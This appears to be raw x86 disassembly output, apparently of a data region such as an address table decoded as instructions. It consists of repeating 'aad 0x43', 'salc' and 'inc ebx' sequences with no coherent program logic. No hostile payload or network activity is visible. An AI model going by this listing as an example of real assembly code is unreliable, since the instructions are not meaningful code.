rol byte [ebx], 0x20
rol byte [ebx], 0x87
rol byte [ebx], 0x20
rol byte [ebx], 0xb5
rol byte [ebx], 0xc8
rol byte [ebx], 0x38
mov ebx, 0xc0e20043
inc ebx
add byte [eax], bh
mov ebx, 0xc0f50043
inc ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, dh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add dl, bh
aad 0x43
add byte [esi], al
salc
inc ebx
add byte [esi], al
salc
inc ebx
add byte [eax], ah
salc
inc ebx
add byte [eax], dh
salc
inc ebx
add byte [eax], dh
salc
inc ebx
add byte [eax], dh
salc
inc ebx
add byte [eax], dh
salc
inc ebx
add byte [eax], dh
salc
inc ebx
add byte [esi], dh
salc
inc ebx
add byte [esi], dh
salc
inc ebx
add byte [esi - 0x2a], al
inc ebx
add ah, bh
salc
inc ebx
add al, dl
salc
inc ebx
add al, dl
salc
inc ebx
add al, ah
salc
inc ebx
add al, ah
salc
inc ebx
add al, ah
salc
inc ebx
add al, ah
salc
inc ebx
add al, ah
salc
inc ebx
add dh, ah
salc
inc ebx
add dh, ah
salc
inc ebx
add dh, ah
salc
inc ebx
add dh, ah
salc
inc ebx
add ah, dh
salc
inc ebx
add ah, dh
salc
inc ebx
add byte [ecx], al
add byte [eax], al
add ah, dh
salc
inc ebx
add byte [eax], ah
salc
inc ebx
add byte [eax], dh
salc
inc ebx
add al, dl
salc
inc ebx
add al, ah
salc
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [esi], ah
dec ecx
add byte [esi], ah
dec ecx
add byte [esi - 0x33ffb615], ah
jmp 0x44cfdc
mov al, 0xed
dec ecx
add dl, dl
in eax, dx
dec ecx
add byte [ecx + esi*8 - 0x120bffb7], dh
dec ecx
add dh, ch
ljmp 0x49